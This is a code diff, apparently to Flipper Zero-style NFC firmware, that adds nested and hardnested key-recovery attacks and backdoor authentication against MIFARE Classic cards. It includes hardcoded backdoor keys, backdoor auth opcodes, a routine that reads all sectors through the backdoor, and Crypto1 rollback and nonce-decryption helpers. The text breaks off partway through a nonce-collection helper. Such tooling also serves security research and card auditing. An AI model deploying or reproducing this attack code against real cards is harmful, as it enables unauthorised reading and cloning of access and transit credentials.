diff --git a/applications/debug/unit_tests/tests/nfc/nfc_test.c b/applications/debug/unit_tests/tests/nfc/nfc_test.c index 0898ac8ed..4ba934b6d 100644 --- a/applications/debug/unit_tests/tests/nfc/nfc_test.c +++ b/applications/debug/unit_tests/tests/nfc/nfc_test.c @@ -496,7 +496,7 @@ NfcCommand mf_classic_poller_send_frame_callback(NfcGenericEventEx event, void* MfClassicKey key = { .data = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff}, }; - error = mf_classic_poller_auth(instance, 0, &key, MfClassicKeyTypeA, NULL); + error = mf_classic_poller_auth(instance, 0, &key, MfClassicKeyTypeA, NULL, false); frame_test->state = (error == MfClassicErrorNone) ? NfcTestMfClassicSendFrameTestStateReadBlock : NfcTestMfClassicSendFrameTestStateFail; diff --git a/applications/main/nfc/nfc_app_i.h b/applications/main/nfc/nfc_app_i.h index 7896d65db..0e9a34bc8 100644 --- a/applications/main/nfc/nfc_app_i.h +++ b/applications/main/nfc/nfc_app_i.h @@ -75,8 +75,12 @@ #define NFC_APP_MFKEY32_LOGS_FILE_NAME ".mfkey32.log" #define NFC_APP_MFKEY32_LOGS_FILE_PATH (NFC_APP_FOLDER "/" NFC_APP_MFKEY32_LOGS_FILE_NAME) -#define NFC_APP_MF_CLASSIC_DICT_USER_PATH (NFC_APP_FOLDER "/assets/mf_classic_dict_user.nfc") +#define NFC_APP_MF_CLASSIC_DICT_USER_PATH (NFC_APP_FOLDER "/assets/mf_classic_dict_user.nfc") +#define NFC_APP_MF_CLASSIC_DICT_USER_NESTED_PATH \ + (NFC_APP_FOLDER "/assets/mf_classic_dict_user_nested.nfc") #define NFC_APP_MF_CLASSIC_DICT_SYSTEM_PATH (NFC_APP_FOLDER "/assets/mf_classic_dict.nfc") +#define NFC_APP_MF_CLASSIC_DICT_SYSTEM_NESTED_PATH \ + (NFC_APP_FOLDER "/assets/mf_classic_dict_nested.nfc") typedef enum { NfcRpcStateIdle, @@ -94,6 +98,9 @@ typedef struct { bool is_key_attack; uint8_t key_attack_current_sector; bool is_card_present; + uint8_t nested_phase; + uint8_t prng_type; + uint8_t backdoor; } NfcMfClassicDictAttackContext; struct NfcApp { diff --git a/applications/main/nfc/scenes/nfc_scene_mf_classic_dict_attack.c b/applications/main/nfc/scenes/nfc_scene_mf_classic_dict_attack.c index b63aa5e77..3a800af7d 100644 --- a/applications/main/nfc/scenes/nfc_scene_mf_classic_dict_attack.c +++ b/applications/main/nfc/scenes/nfc_scene_mf_classic_dict_attack.c @@ -5,6 +5,8 @@ #define TAG "NfcMfClassicDictAttack" +// TODO: Update progress bar with nested attacks + typedef enum { DictAttackStateUserDictInProgress, DictAttackStateSystemDictInProgress, @@ -58,6 +60,9 @@ NfcCommand nfc_dict_attack_worker_callback(NfcGenericEvent event, void* context) instance->nfc_dict_context.sectors_read = data_update->sectors_read; instance->nfc_dict_context.keys_found = data_update->keys_found; instance->nfc_dict_context.current_sector = data_update->current_sector; + instance->nfc_dict_context.nested_phase = data_update->nested_phase; + instance->nfc_dict_context.prng_type = data_update->prng_type; + instance->nfc_dict_context.backdoor = data_update->backdoor; view_dispatcher_send_custom_event( instance->view_dispatcher, NfcCustomEventDictAttackDataUpdate); } else if(mfc_event->type == MfClassicPollerEventTypeNextSector) { @@ -117,6 +122,9 @@ static void nfc_scene_mf_classic_dict_attack_update_view(NfcApp* instance) { dict_attack_set_keys_found(instance->dict_attack, mfc_dict->keys_found); dict_attack_set_current_dict_key(instance->dict_attack, mfc_dict->dict_keys_current); dict_attack_set_current_sector(instance->dict_attack, mfc_dict->current_sector); + dict_attack_set_nested_phase(instance->dict_attack, mfc_dict->nested_phase); + dict_attack_set_prng_type(instance->dict_attack, mfc_dict->prng_type); + dict_attack_set_backdoor(instance->dict_attack, mfc_dict->backdoor); } } @@ -125,11 +133,25 @@ static void nfc_scene_mf_classic_dict_attack_prepare_view(NfcApp* instance) { scene_manager_get_scene_state(instance->scene_manager, NfcSceneMfClassicDictAttack); if(state == DictAttackStateUserDictInProgress) { do { + // TODO: Check for errors + storage_common_remove(instance->storage, NFC_APP_MF_CLASSIC_DICT_SYSTEM_NESTED_PATH); + storage_common_copy( + instance->storage, + NFC_APP_MF_CLASSIC_DICT_SYSTEM_PATH, + NFC_APP_MF_CLASSIC_DICT_SYSTEM_NESTED_PATH); + if(!keys_dict_check_presence(NFC_APP_MF_CLASSIC_DICT_USER_PATH)) { state = DictAttackStateSystemDictInProgress; break; } + // TODO: Check for errors + storage_common_remove(instance->storage, NFC_APP_MF_CLASSIC_DICT_USER_NESTED_PATH); + storage_common_copy( + instance->storage, + NFC_APP_MF_CLASSIC_DICT_USER_PATH, + NFC_APP_MF_CLASSIC_DICT_USER_NESTED_PATH); + instance->nfc_dict_context.dict = keys_dict_alloc( NFC_APP_MF_CLASSIC_DICT_USER_PATH, KeysDictModeOpenAlways, sizeof(MfClassicKey)); if(keys_dict_get_total_keys(instance->nfc_dict_context.dict) == 0) { diff --git a/applications/main/nfc/views/dict_attack.c b/applications/main/nfc/views/dict_attack.c index 14298a6aa..83cf9a4bf 100644 --- a/applications/main/nfc/views/dict_attack.c +++ b/applications/main/nfc/views/dict_attack.c @@ -10,6 +10,30 @@ struct DictAttack { void* context; }; +typedef enum { + MfClassicNestedPhaseNone, + MfClassicNestedPhaseAnalyzePRNG, + MfClassicNestedPhaseDictAttack, + MfClassicNestedPhaseDictAttackResume, + MfClassicNestedPhaseCalibrate, + MfClassicNestedPhaseCollectNtEnc, + MfClassicNestedPhaseFinished, +} MfClassicNestedPhase; + +typedef enum { + MfClassicPrngTypeUnknown, // Tag not yet tested + MfClassicPrngTypeNoTag, // No tag detected during test + MfClassicPrngTypeWeak, // Weak PRNG, standard Nested + MfClassicPrngTypeHard, // Hard PRNG, Hardnested +} MfClassicPrngType; + +typedef enum { + MfClassicBackdoorUnknown, // Tag not yet tested + MfClassicBackdoorNone, // No observed backdoor + MfClassicBackdoorAuth1, // Tag responds to v1 auth backdoor + MfClassicBackdoorAuth2, // Tag responds to v2 auth backdoor (static encrypted nonce) +} MfClassicBackdoor; + typedef struct { FuriString* header; bool card_detected; @@ -21,6 +45,9 @@ typedef struct { size_t dict_keys_current; bool is_key_attack; uint8_t key_attack_current_sector; + MfClassicNestedPhase nested_phase; + MfClassicPrngType prng_type; + MfClassicBackdoor backdoor; } DictAttackViewModel; static void dict_attack_draw_callback(Canvas* canvas, void* model) { @@ -34,8 +61,39 @@ static void dict_attack_draw_callback(Canvas* canvas, void* model) { } else { char draw_str[32] = {}; canvas_set_font(canvas, FontSecondary); + + switch(m->nested_phase) { + case MfClassicNestedPhaseAnalyzePRNG: + furi_string_set(m->header, "PRNG Analysis"); + break; + case MfClassicNestedPhaseDictAttack: + case MfClassicNestedPhaseDictAttackResume: + furi_string_set(m->header, "Nested Dictionary"); + break; + case MfClassicNestedPhaseCalibrate: + furi_string_set(m->header, "Calibration"); + break; + case MfClassicNestedPhaseCollectNtEnc: + furi_string_set(m->header, "Nonce Collection"); + break; + default: + break; + } + + if(m->prng_type == MfClassicPrngTypeHard) { + furi_string_cat(m->header, " (Hard)"); + } + + if(m->backdoor != MfClassicBackdoorNone && m->backdoor != MfClassicBackdoorUnknown) { + if(m->nested_phase != MfClassicNestedPhaseNone) { + furi_string_cat(m->header, " (Backdoor)"); + } else { + furi_string_set(m->header, "Backdoor Read"); + } + } + canvas_draw_str_aligned( - canvas, 64, 0, AlignCenter, AlignTop, furi_string_get_cstr(m->header)); + canvas, 0, 0, AlignLeft, AlignTop, furi_string_get_cstr(m->header)); if(m->is_key_attack) { snprintf( draw_str, @@ -132,6 +190,9 @@ void dict_attack_reset(DictAttack* instance) { model->dict_keys_total = 0; model->dict_keys_current = 0; model->is_key_attack = false; + model->nested_phase = MfClassicNestedPhaseNone; + model->prng_type = MfClassicPrngTypeUnknown; + model->backdoor = MfClassicBackdoorUnknown; furi_string_reset(model->header); }, false); @@ -242,3 +303,24 @@ void dict_attack_reset_key_attack(DictAttack* instance) { with_view_model( instance->view, DictAttackViewModel * model, { model->is_key_attack = false; }, true); } + +void dict_attack_set_nested_phase(DictAttack* instance, uint8_t nested_phase) { + furi_assert(instance); + + with_view_model( + instance->view, DictAttackViewModel * model, { model->nested_phase = nested_phase; }, true); +} + +void dict_attack_set_prng_type(DictAttack* instance, uint8_t prng_type) { + furi_assert(instance); + + with_view_model( + instance->view, DictAttackViewModel * model, { model->prng_type = prng_type; }, true); +} + +void dict_attack_set_backdoor(DictAttack* instance, uint8_t backdoor) { + furi_assert(instance); + + with_view_model( + instance->view, DictAttackViewModel * model, { model->backdoor = backdoor; }, true); +} diff --git a/applications/main/nfc/views/dict_attack.h b/applications/main/nfc/views/dict_attack.h index 30f3b3c44..9afbeaf84 100644 --- a/applications/main/nfc/views/dict_attack.h +++ b/applications/main/nfc/views/dict_attack.h @@ -45,6 +45,12 @@ void dict_attack_set_key_attack(DictAttack* instance, uint8_t sector); void dict_attack_reset_key_attack(DictAttack* instance); +void dict_attack_set_nested_phase(DictAttack* instance, uint8_t nested_phase); + +void dict_attack_set_prng_type(DictAttack* instance, uint8_t prng_type); + +void dict_attack_set_backdoor(DictAttack* instance, uint8_t backdoor); + #ifdef __cplusplus } #endif diff --git a/lib/nfc/helpers/crypto1.c b/lib/nfc/helpers/crypto1.c index bd4fc8d61..e59657a40 100644 --- a/lib/nfc/helpers/crypto1.c +++ b/lib/nfc/helpers/crypto1.c @@ -177,3 +177,60 @@ void crypto1_encrypt_reader_nonce( bit_buffer_set_byte_with_parity(out, i, byte, parity_bit); } } + +static uint8_t lfsr_rollback_bit(Crypto1* crypto1, uint32_t in, int fb) { + int out; + uint8_t ret; + uint32_t t; + + crypto1->odd &= 0xffffff; + t = crypto1->odd; + crypto1->odd = crypto1->even; + crypto1->even = t; + + out = crypto1->even & 1; + out ^= LF_POLY_EVEN & (crypto1->even >>= 1); + out ^= LF_POLY_ODD & crypto1->odd; + out ^= !!in; + out ^= (ret = crypto1_filter(crypto1->odd)) & (!!fb); + + crypto1->even |= (nfc_util_even_parity32(out)) << 23; + return ret; +} + +uint32_t lfsr_rollback_word(Crypto1* crypto1, uint32_t in, int fb) { + uint32_t ret = 0; + for(int i = 31; i >= 0; i--) { + ret |= lfsr_rollback_bit(crypto1, BEBIT(in, i), fb) << (24 ^ i); + } + return ret; +} + +bool nonce_matches_encrypted_parity_bits(uint32_t nt, uint32_t ks, uint8_t nt_par_enc) { + return (nfc_util_even_parity8((nt >> 24) & 0xFF) == + (((nt_par_enc >> 3) & 1) ^ FURI_BIT(ks, 16))) && + (nfc_util_even_parity8((nt >> 16) & 0xFF) == + (((nt_par_enc >> 2) & 1) ^ FURI_BIT(ks, 8))) && + (nfc_util_even_parity8((nt >> 8) & 0xFF) == + (((nt_par_enc >> 1) & 1) ^ FURI_BIT(ks, 0))); +} + +bool is_weak_prng_nonce(uint32_t nonce) { + if(nonce == 0) return false; + uint16_t x = nonce >> 16; + x = (x & 0xff) << 8 | x >> 8; + for(uint8_t i = 0; i < 16; i++) { + x = x >> 1 | (x ^ x >> 2 ^ x >> 3 ^ x >> 5) << 15; + } + x = (x & 0xff) << 8 | x >> 8; + return x == (nonce & 0xFFFF); +} + +uint32_t decrypt_nt_enc(uint32_t cuid, uint32_t nt_enc, MfClassicKey known_key) { + uint64_t known_key_int = bit_lib_bytes_to_num_be(known_key.data, 6); + Crypto1 crypto_temp; + crypto1_init(&crypto_temp, known_key_int); + crypto1_word(&crypto_temp, nt_enc ^ cuid, 1); + uint32_t decrypted_nt_enc = (nt_enc ^ lfsr_rollback_word(&crypto_temp, nt_enc ^ cuid, 1)); + return decrypted_nt_enc; +} diff --git a/lib/nfc/helpers/crypto1.h b/lib/nfc/helpers/crypto1.h index e71ab9a40..26862ab49 100644 --- a/lib/nfc/helpers/crypto1.h +++ b/lib/nfc/helpers/crypto1.h @@ -1,5 +1,6 @@ #pragma once +#include "protocols/mf_classic/mf_classic.h" #include #ifdef __cplusplus @@ -38,6 +39,14 @@ void crypto1_encrypt_reader_nonce( BitBuffer* out, bool is_nested); +uint32_t lfsr_rollback_word(Crypto1* crypto1, uint32_t in, int fb); + +bool nonce_matches_encrypted_parity_bits(uint32_t nt, uint32_t ks, uint8_t nt_par_enc); + +bool is_weak_prng_nonce(uint32_t nonce); + +uint32_t decrypt_nt_enc(uint32_t cuid, uint32_t nt_enc, MfClassicKey known_key); + uint32_t prng_successor(uint32_t x, uint32_t n); #ifdef __cplusplus diff --git a/lib/nfc/helpers/nfc_util.c b/lib/nfc/helpers/nfc_util.c index f502b4bfb..80af5cf11 100644 --- a/lib/nfc/helpers/nfc_util.c +++ b/lib/nfc/helpers/nfc_util.c @@ -13,6 +13,10 @@ static const uint8_t nfc_util_odd_byte_parity[256] = { 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1}; +uint8_t nfc_util_even_parity8(uint8_t data) { + return !nfc_util_odd_byte_parity[data]; +} + uint8_t nfc_util_even_parity32(uint32_t data) { // data ^= data >> 16; // data ^= data >> 8; diff --git a/lib/nfc/helpers/nfc_util.h b/lib/nfc/helpers/nfc_util.h index f8e86d865..4abde4521 100644 --- a/lib/nfc/helpers/nfc_util.h +++ b/lib/nfc/helpers/nfc_util.h @@ -6,6 +6,8 @@ extern "C" { #endif +uint8_t nfc_util_even_parity8(uint8_t data); + uint8_t nfc_util_even_parity32(uint32_t data); uint8_t nfc_util_odd_parity8(uint8_t data); diff --git a/lib/nfc/protocols/mf_classic/mf_classic.h b/lib/nfc/protocols/mf_classic/mf_classic.h index 801ec1764..38c3e9ba7 100644 --- a/lib/nfc/protocols/mf_classic/mf_classic.h +++ b/lib/nfc/protocols/mf_classic/mf_classic.h @@ -6,14 +6,16 @@ extern "C" { #endif -#define MF_CLASSIC_CMD_AUTH_KEY_A (0x60U) -#define MF_CLASSIC_CMD_AUTH_KEY_B (0x61U) -#define MF_CLASSIC_CMD_READ_BLOCK (0x30U) -#define MF_CLASSIC_CMD_WRITE_BLOCK (0xA0U) -#define MF_CLASSIC_CMD_VALUE_DEC (0xC0U) -#define MF_CLASSIC_CMD_VALUE_INC (0xC1U) -#define MF_CLASSIC_CMD_VALUE_RESTORE (0xC2U) -#define MF_CLASSIC_CMD_VALUE_TRANSFER (0xB0U) +#define MF_CLASSIC_CMD_AUTH_KEY_A (0x60U) +#define MF_CLASSIC_CMD_AUTH_KEY_B (0x61U) +#define MF_CLASSIC_CMD_BACKDOOR_AUTH_KEY_A (0x64U) +#define MF_CLASSIC_CMD_BACKDOOR_AUTH_KEY_B (0x65U) +#define MF_CLASSIC_CMD_READ_BLOCK (0x30U) +#define MF_CLASSIC_CMD_WRITE_BLOCK (0xA0U) +#define MF_CLASSIC_CMD_VALUE_DEC (0xC0U) +#define MF_CLASSIC_CMD_VALUE_INC (0xC1U) +#define MF_CLASSIC_CMD_VALUE_RESTORE (0xC2U) +#define MF_CLASSIC_CMD_VALUE_TRANSFER (0xB0U) #define MF_CLASSIC_CMD_HALT_MSB (0x50) #define MF_CLASSIC_CMD_HALT_LSB (0x00) diff --git a/lib/nfc/protocols/mf_classic/mf_classic_poller.c b/lib/nfc/protocols/mf_classic/mf_classic_poller.c index 8c50230ca..de258b4d5 100644 --- a/lib/nfc/protocols/mf_classic/mf_classic_poller.c +++ b/lib/nfc/protocols/mf_classic/mf_classic_poller.c @@ -6,8 +6,18 @@ #define TAG "MfClassicPoller" +// TODO: Reflect status in NFC app +// TODO: Buffer writes for Hardnested, set state to Log when finished and sum property matches +// TODO: Test not resetting the tag during Hardnested (single initial auth, repeated failed nested) +// TODO: Load dictionaries specific to a CUID to not clutter the user dictionary + #define MF_CLASSIC_MAX_BUFF_SIZE (64) +const MfClassicKey auth1_backdoor_key = {.data = {0xa3, 0x16, 0x67, 0xa8, 0xce, 0xc1}}; +const MfClassicKey auth2_backdoor_key = {.data = {0xa3, 0x96, 0xef, 0xa4, 0xe2, 0x4f}}; +const uint16_t valid_sums[] = + {0, 32, 56, 64, 80, 96, 104, 112, 120, 128, 136, 144, 152, 160, 176, 192, 200, 224, 256}; + typedef NfcCommand (*MfClassicPollerReadHandler)(MfClassicPoller* instance); MfClassicPoller* mf_classic_poller_alloc(Iso14443_3aPoller* iso14443_3a_poller) { @@ -58,6 +68,9 @@ static NfcCommand mf_classic_poller_handle_data_update(MfClassicPoller* instance mf_classic_get_read_sectors_and_keys( instance->data, &data_update->sectors_read, &data_update->keys_found); data_update->current_sector = instance->mode_ctx.dict_attack_ctx.current_sector; + data_update->nested_phase = instance->mode_ctx.dict_attack_ctx.nested_phase; + data_update->prng_type = instance->mode_ctx.dict_attack_ctx.prng_type; + data_update->backdoor = instance->mode_ctx.dict_attack_ctx.backdoor; instance->mfc_event.type = MfClassicPollerEventTypeDataUpdate; return instance->callback(instance->general_event, instance->context); } @@ -86,7 +99,8 @@ NfcCommand mf_classic_poller_handler_detect_type(MfClassicPoller* instance) { iso14443_3a_copy( instance->data->iso14443_3a_data, iso14443_3a_poller_get_data(instance->iso14443_3a_poller)); - MfClassicError error = mf_classic_poller_get_nt(instance, 254, MfClassicKeyTypeA, NULL); + MfClassicError error = + mf_classic_poller_get_nt(instance, 254, MfClassicKeyTypeA, NULL, false); if(error == MfClassicErrorNone) { instance->data->type = MfClassicType4k; instance->state = MfClassicPollerStateStart; @@ -96,7 +110,8 @@ NfcCommand mf_classic_poller_handler_detect_type(MfClassicPoller* instance) { instance->current_type_check = MfClassicType1k; } } else if(instance->current_type_check == MfClassicType1k) { - MfClassicError error = mf_classic_poller_get_nt(instance, 62, MfClassicKeyTypeA, NULL); + MfClassicError error = + mf_classic_poller_get_nt(instance, 62, MfClassicKeyTypeA, NULL, false); if(error == MfClassicErrorNone) { instance->data->type = MfClassicType1k; FURI_LOG_D(TAG, "1K detected"); @@ -122,7 +137,7 @@ NfcCommand mf_classic_poller_handler_start(MfClassicPoller* instance) { if(instance->mfc_event_data.poller_mode.mode == MfClassicPollerModeDictAttack) { mf_classic_copy(instance->data, instance->mfc_event_data.poller_mode.data); - instance->state = MfClassicPollerStateRequestKey; + instance->state = MfClassicPollerStateAnalyzeBackdoor; } else if(instance->mfc_event_data.poller_mode.mode == MfClassicPollerModeRead) { instance->state = MfClassicPollerStateRequestReadSector; } else if(instance->mfc_event_data.poller_mode.mode == MfClassicPollerModeWrite) { @@ -236,7 +251,7 @@ NfcCommand mf_classic_poller_handler_read_block(MfClassicPoller* instance) { do { // Authenticate to sector error = mf_classic_poller_auth( - instance, write_ctx->current_block, auth_key, write_ctx->key_type_read, NULL); + instance, write_ctx->current_block, auth_key, write_ctx->key_type_read, NULL, false); if(error != MfClassicErrorNone) { FURI_LOG_D(TAG, "Failed to auth to block %d", write_ctx->current_block); instance->state = MfClassicPollerStateFail; @@ -294,7 +309,12 @@ NfcCommand mf_classic_poller_handler_write_block(MfClassicPoller* instance) { // Reauth if necessary if(write_ctx->need_halt_before_write) { error = mf_classic_poller_auth( - instance, write_ctx->current_block, auth_key, write_ctx->key_type_write, NULL); + instance, + write_ctx->current_block, + auth_key, + write_ctx->key_type_write, + NULL, + false); if(error != MfClassicErrorNone) { FURI_LOG_D( TAG, "Failed to auth to block %d for writing", write_ctx->current_block); @@ -403,8 +423,8 @@ NfcCommand mf_classic_poller_handler_write_value_block(MfClassicPoller* instance MfClassicKey* key = (auth_key_type == MfClassicKeyTypeA) ? &write_ctx->sec_tr.key_a : &write_ctx->sec_tr.key_b; - MfClassicError error = - mf_classic_poller_auth(instance, write_ctx->current_block, key, auth_key_type, NULL); + MfClassicError error = mf_classic_poller_auth( + instance, write_ctx->current_block, key, auth_key_type, NULL, false); if(error != MfClassicErrorNone) break; error = mf_classic_poller_value_cmd(instance, write_ctx->current_block, value_cmd, diff); @@ -468,7 +488,8 @@ NfcCommand mf_classic_poller_handler_request_read_sector_blocks(MfClassicPoller* sec_read_ctx->current_block, &sec_read_ctx->key, sec_read_ctx->key_type, - NULL); + NULL, + false); if(error != MfClassicErrorNone) break; sec_read_ctx->auth_passed = true; @@ -505,6 +526,115 @@ NfcCommand mf_classic_poller_handler_request_read_sector_blocks(MfClassicPoller* return command; } +NfcCommand mf_classic_poller_handler_analyze_backdoor(MfClassicPoller* instance) { + NfcCommand command = NfcCommandReset; + MfClassicPollerDictAttackContext* dict_attack_ctx = &instance->mode_ctx.dict_attack_ctx; + bool current_key_is_auth1 = + memcmp(dict_attack_ctx->current_key.data, auth1_backdoor_key.data, sizeof(MfClassicKey)) == + 0; + bool current_key_is_auth2 = + memcmp(dict_attack_ctx->current_key.data, auth2_backdoor_key.data, sizeof(MfClassicKey)) == + 0; + + if(!current_key_is_auth1) { + dict_attack_ctx->current_key = auth2_backdoor_key; + } else if(current_key_is_auth2) { + dict_attack_ctx->current_key = auth1_backdoor_key; + } + + // Attempt backdoor authentication + MfClassicError error = mf_classic_poller_auth( + instance, 0, &dict_attack_ctx->current_key, MfClassicKeyTypeA, NULL, true); + bool backdoor_found = (error == MfClassicErrorNone) ? true : false; + + if(backdoor_found) { + FURI_LOG_E(TAG, "Backdoor identified"); + if(!current_key_is_auth1) { + dict_attack_ctx->backdoor = MfClassicBackdoorAuth2; + } else { + dict_attack_ctx->backdoor = MfClassicBackdoorAuth1; + } + instance->state = MfClassicPollerStateBackdoorReadSector; + } else if(current_key_is_auth2) { + dict_attack_ctx->backdoor = MfClassicBackdoorNone; + instance->state = MfClassicPollerStateRequestKey; + } + return command; +} + +NfcCommand mf_classic_poller_handler_backdoor_read_sector(MfClassicPoller* instance) { + NfcCommand command = NfcCommandContinue; + MfClassicPollerDictAttackContext* dict_attack_ctx = &instance->mode_ctx.dict_attack_ctx; + MfClassicError error = MfClassicErrorNone; + MfClassicBlock block = {}; + + uint8_t current_sector = mf_classic_get_sector_by_block(dict_attack_ctx->current_block); + uint8_t blocks_in_sector = mf_classic_get_blocks_num_in_sector(current_sector); + uint8_t first_block_in_sector = mf_classic_get_first_block_num_of_sector(current_sector); + + do { + if(dict_attack_ctx->current_block >= instance->sectors_total * 4) { + // We've read all blocks, reset current_block and move to next state + dict_attack_ctx->current_block = 0; + instance->state = MfClassicPollerStateNestedController; + break; + } + + // Authenticate with the backdoor key + error = mf_classic_poller_auth( + instance, + first_block_in_sector, // Authenticate to the first block of the sector + &(dict_attack_ctx->current_key), + MfClassicKeyTypeA, + NULL, + true); + + if(error != MfClassicErrorNone) { + FURI_LOG_E( + TAG, "Failed to authenticate with backdoor key for sector %d", current_sector); + break; + } + + // Read all blocks in the sector + for(uint8_t block_in_sector = 0; block_in_sector < blocks_in_sector; block_in_sector++) { + uint8_t block_to_read = first_block_in_sector + block_in_sector; + + error = mf_classic_poller_read_block(instance, block_to_read, &block); + + if(error != MfClassicErrorNone) { + FURI_LOG_E(TAG, "Failed to read block %d", block_to_read); + break; + } + + // Set the block as read in the data structure + mf_classic_set_block_read(instance->data, block_to_read, &block); + } + + if(error != MfClassicErrorNone) { + break; + } + + // Move to the next sector + current_sector++; + dict_attack_ctx->current_block = mf_classic_get_first_block_num_of_sector(current_sector); + + // Update blocks_in_sector and first_block_in_sector for the next sector + if(current_sector < instance->sectors_total) { + blocks_in_sector = mf_classic_get_blocks_num_in_sector(current_sector); + first_block_in_sector = mf_classic_get_first_block_num_of_sector(current_sector); + } + + // Halt the card after each sector to reset the authentication state + mf_classic_poller_halt(instance); + + // Send an event to the app that a sector has been read + command = mf_classic_poller_handle_data_update(instance); + + } while(false); + + return command; +} + NfcCommand mf_classic_poller_handler_request_key(MfClassicPoller* instance) { NfcCommand command = NfcCommandContinue; MfClassicPollerDictAttackContext* dict_attack_ctx = &instance->mode_ctx.dict_attack_ctx; @@ -535,7 +665,7 @@ NfcCommand mf_classic_poller_handler_auth_a(MfClassicPoller* instance) { FURI_LOG_D(TAG, "Auth to block %d with key A: %06llx", block, key); MfClassicError error = mf_classic_poller_auth( - instance, block, &dict_attack_ctx->current_key, MfClassicKeyTypeA, NULL); + instance, block, &dict_attack_ctx->current_key, MfClassicKeyTypeA, NULL, false); if(error == MfClassicErrorNone) { FURI_LOG_I(TAG, "Key A found"); mf_classic_set_key_found( @@ -574,7 +704,7 @@ NfcCommand mf_classic_poller_handler_auth_b(MfClassicPoller* instance) { FURI_LOG_D(TAG, "Auth to block %d with key B: %06llx", block, key); MfClassicError error = mf_classic_poller_auth( - instance, block, &dict_attack_ctx->current_key, MfClassicKeyTypeB, NULL); + instance, block, &dict_attack_ctx->current_key, MfClassicKeyTypeB, NULL, false); if(error == MfClassicErrorNone) { FURI_LOG_I(TAG, "Key B found"); mf_classic_set_key_found( @@ -629,7 +759,8 @@ NfcCommand mf_classic_poller_handler_read_sector(MfClassicPoller* instance) { block_num, &dict_attack_ctx->current_key, dict_attack_ctx->current_key_type, - NULL); + NULL, + false); if(error != MfClassicErrorNone) { instance->state = MfClassicPollerStateNextSector; FURI_LOG_W(TAG, "Failed to re-auth. Go to next sector"); @@ -680,24 +811,49 @@ NfcCommand mf_classic_poller_handler_key_reuse_start(MfClassicPoller* instance) NfcCommand command = NfcCommandContinue; MfClassicPollerDictAttackContext* dict_attack_ctx = &instance->mode_ctx.dict_attack_ctx; - if(dict_attack_ctx->current_key_type == MfClassicKeyTypeA) { - dict_attack_ctx->current_key_type = MfClassicKeyTypeB; - instance->state = MfClassicPollerStateKeyReuseAuthKeyB; - } else { - dict_attack_ctx->reuse_key_sector++; - if(dict_attack_ctx->reuse_key_sector == instance->sectors_total) { - instance->mfc_event.type = MfClassicPollerEventTypeKeyAttackStop; - command = instance->callback(instance->general_event, instance->context); - instance->state = MfClassicPollerStateRequestKey; + do { + if(dict_attack_ctx->current_key_type == MfClassicKeyTypeA) { + dict_attack_ctx->current_key_type = MfClassicKeyTypeB; + instance->state = MfClassicPollerStateKeyReuseAuthKeyB; } else { - instance->mfc_event.type = MfClassicPollerEventTypeKeyAttackStart; - instance->mfc_event_data.key_attack_data.current_sector = - dict_attack_ctx->reuse_key_sector; - command = instance->callback(instance->general_event, instance->context); + dict_attack_ctx->reuse_key_sector++; + if(dict_attack_ctx->reuse_key_sector == instance->sectors_total) { + instance->mfc_event.type = MfClassicPollerEventTypeKeyAttackStop; + command = instance->callback(instance->general_event, instance->context); + // Nested entrypoint + // TODO: Ensure nested attack isn't run if tag is fully read + if(dict_attack_ctx->nested_phase == MfClassicNestedPhaseNone || + dict_attack_ctx->nested_phase != MfClassicNestedPhaseFinished) { + instance->state = MfClassicPollerStateNestedController; + break; + } + instance->state = MfClassicPollerStateRequestKey; + } else { + instance->mfc_event.type = MfClassicPollerEventTypeKeyAttackStart; + instance->mfc_event_data.key_attack_data.current_sector = + dict_attack_ctx->reuse_key_sector; + command = instance->callback(instance->general_event, instance->context); - dict_attack_ctx->current_key_type = MfClassicKeyTypeA; - instance->state = MfClassicPollerStateKeyReuseAuthKeyA; + dict_attack_ctx->current_key_type = MfClassicKeyTypeA; + instance->state = MfClassicPollerStateKeyReuseAuthKeyA; + } } + } while(false); + + return command; +} + +NfcCommand mf_classic_poller_handler_key_reuse_start_no_offset(MfClassicPoller* instance) { + NfcCommand command = NfcCommandContinue; + MfClassicPollerDictAttackContext* dict_attack_ctx = &instance->mode_ctx.dict_attack_ctx; + + instance->mfc_event.type = MfClassicPollerEventTypeKeyAttackStart; + instance->mfc_event_data.key_attack_data.current_sector = dict_attack_ctx->reuse_key_sector; + command = instance->callback(instance->general_event, instance->context); + if(dict_attack_ctx->current_key_type == MfClassicKeyTypeA) { + instance->state = MfClassicPollerStateKeyReuseAuthKeyA; + } else { + instance->state = MfClassicPollerStateKeyReuseAuthKeyB; } return command; @@ -718,7 +874,7 @@ NfcCommand mf_classic_poller_handler_key_reuse_auth_key_a(MfClassicPoller* insta FURI_LOG_D(TAG, "Key attack auth to block %d with key A: %06llx", block, key); MfClassicError error = mf_classic_poller_auth( - instance, block, &dict_attack_ctx->current_key, MfClassicKeyTypeA, NULL); + instance, block, &dict_attack_ctx->current_key, MfClassicKeyTypeA, NULL, false); if(error == MfClassicErrorNone) { FURI_LOG_I(TAG, "Key A found"); mf_classic_set_key_found( @@ -754,7 +910,7 @@ NfcCommand mf_classic_poller_handler_key_reuse_auth_key_b(MfClassicPoller* insta FURI_LOG_D(TAG, "Key attack auth to block %d with key B: %06llx", block, key); MfClassicError error = mf_classic_poller_auth( - instance, block, &dict_attack_ctx->current_key, MfClassicKeyTypeB, NULL); + instance, block, &dict_attack_ctx->current_key, MfClassicKeyTypeB, NULL, false); if(error == MfClassicErrorNone) { FURI_LOG_I(TAG, "Key B found"); mf_classic_set_key_found( @@ -793,7 +949,8 @@ NfcCommand mf_classic_poller_handler_key_reuse_read_sector(MfClassicPoller* inst block_num, &dict_attack_ctx->current_key, dict_attack_ctx->current_key_type, - NULL); + NULL, + false); if(error != MfClassicErrorNone) { instance->state = MfClassicPollerStateKeyReuseStart; break; @@ -829,6 +986,1014 @@ NfcCommand mf_classic_poller_handler_key_reuse_read_sector(MfClassicPoller* inst return command; } +// Helper function to add a nonce to the array +static bool add_nested_nonce( + MfClassicNestedNonceArray* array, + uint32_t cuid, + uint16_t key_idx, + uint32_t nt, + uint32_t nt_enc, + uint8_t par, + uint16_t dist) { + MfClassicNestedNonce* new_nonces; + if(array->count == 0) { + new_nonces = malloc(sizeof(MfClassicNestedNonce)); + } else { + new_nonces = realloc(array->nonces, (array->count + 1) * sizeof(MfClassicNestedNonce)); + } + if(new_nonces == NULL) return false; + + array->nonces 